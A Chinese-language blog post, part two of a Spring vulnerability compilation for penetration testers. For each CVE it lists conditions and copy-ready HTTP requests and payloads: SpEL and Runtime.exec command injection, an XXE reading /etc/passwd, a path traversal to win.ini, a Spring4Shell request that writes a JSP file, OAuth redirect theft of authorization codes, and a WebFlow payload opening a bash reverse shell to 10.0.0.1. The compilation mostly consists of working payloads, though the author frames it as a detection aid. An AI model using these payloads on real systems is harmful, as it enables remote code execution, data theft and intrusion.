现在的 java 开放的网站十个里面有九个是 spring 写的。网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网站的时候,脑子里虽然零零散散冒出来一堆漏洞,但是却不知道哪些符合当前环境。
因此搜集了所有 spring 相关漏洞,对它们的利用条件和检测方式进行梳理和总结,希望在面对 spring 的时候,能够有一个更完整的思路去发现漏洞。
这里更多是的是的利用条件和检测方式的总结,主要以发现漏洞为目的,至于如何将漏洞效果最大化这里不做过多介绍,网上资料很多,直接查对应文章即可。
此合集由于内容较多,分为上下两部分。
上半部分内容:
下半部分内容:
上半部分地址: spring漏洞合集 上
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架
影响范围
参考文章
http://www.code2sec.com/cve-2017-8046-spring-data-restming-ling-zhi-xing-lou-dong.html
特征
header 头是 Content-Type: application/hal+json;charset=UTF-8
漏洞利用
PATCH http://localhost:18080/customers/1 HTTP/1.1
Host: localhost:18080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/1", "value": "vulhub" }]
必须是Content-Type: application/json-patch+json
op 是 replace 时,payload 后面必须有路径,不然不能触发 具体内容随意
op 是 test 不需要其他路径
漏洞环境
见 vulhub
影响范围
测试环境
Spring Data xxe 本地环境
漏洞利用
需要对应参数名,如果参数名不存在 则无法触发,比如测试环境参数的是 firstname lastname 只能这两个参数触发,修改为其他的无法触发. 需要被动扫描能够解析 xml 啊
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user1><firstname>&xxe;</firstname><lastname>test</lastname></user1>
参考链接
https://blog.spoock.com/2018/05/16/cve-2018-1259/
影响范围
复现环境
vulhub
漏洞利用
poc
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
第二种 payload
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
RFD,即 Reflected File Download 反射型文件下载漏洞,是一个 2014 年来自 BlackHat 的漏洞。这个漏洞在原理上类似 XSS,在危害上类似 DDE:攻击者可以通过一个 URL 地址使用户下载一个恶意文件,从而危害用户的终端 PC。
这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal 和其他许多公司认为这是一个中危漏洞。
RFD 漏洞原理见 https://coolshell.me/articles/rfd-bug-reflect-spring-world.html
简单来说 鸡肋漏洞
影响范围
参考链接
https://xz.aliyun.com/t/8341
同上
影响范围
上个漏洞的绕过
影响范围
参考链接
https://xz.aliyun.com/t/8341
依然是一个触发条件很苛刻的漏洞
利用条件
payload
http://127.0.0.1:8080/spring-mvc-showcase/resources/static/..%5c/..%5c/windows/win.ini
参考链接
https://blog.spoock.com/2018/05/30/cve-2018-1271/
核弹级漏洞 但是目前公开出来的利用方式就是 tomcat 环境下写 webshell
影响范围
漏洞环境
vulhub
漏洞复现
vulhub 提供的是直接写入 webshell 的,由于有些目标在验证时不允许写 webshell,这里做了修改,只是普通的打印一段字符串,用于验证漏洞。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20out.println(%2211111111%22)%3b%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=22&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c2: <%
DNT: 1
Content-Length: 2
ps: 这个漏洞只能发送一次 payload 需要重启环境才能再次写入 原因未知
影响范围
漏洞利用
sockjs 通讯 非 http 协议 具体方法见https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1270
复现环境
vulhub
影响范围
漏洞利用
就是普通的 spel 表达式注入 参数为response_type
复现环境
vulhub
影响范围
利用方法
spel 表达式注入 无回显 需要 dnslog 漏洞参数scope
payload: ${T(java.lang.Runtime).getRuntime().exec("calc.exe")}
参考链接
https://blog.spoock.com/2018/05/13/cve-2018-1260/
影响范围
限制条件
复现环境
漏洞利用
简单来说这个漏洞就是在利用 url 跳转偷认证票据
Blackhat 2019 有一篇文章"Make Redirection Evil Again URL Parser Issues in OAuth"中提到了一种利用方式,通过添加%ff
,在服务端解析错误后,会将其变成?
,从而达到 url 跳转的目的。
#访问链接
http://localhost:9090/oauth/authorize?response_type=code&client_id=ananaskr&redirect_uri=http://www.xxxx.com%[email protected]&scope=all&client_secret=123456
#跳转到http://www.xxxx.com并且在后面追加了认证票据code
http://[email protected]?code=xxxx
参考链接
https://xz.aliyun.com/t/7409
影响范围
Spring WebFlow 2.4.0 - 2.4.4
复现环境
vulhub
复现过程
# 数据包添加一个带漏洞的参数即可
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=xxxx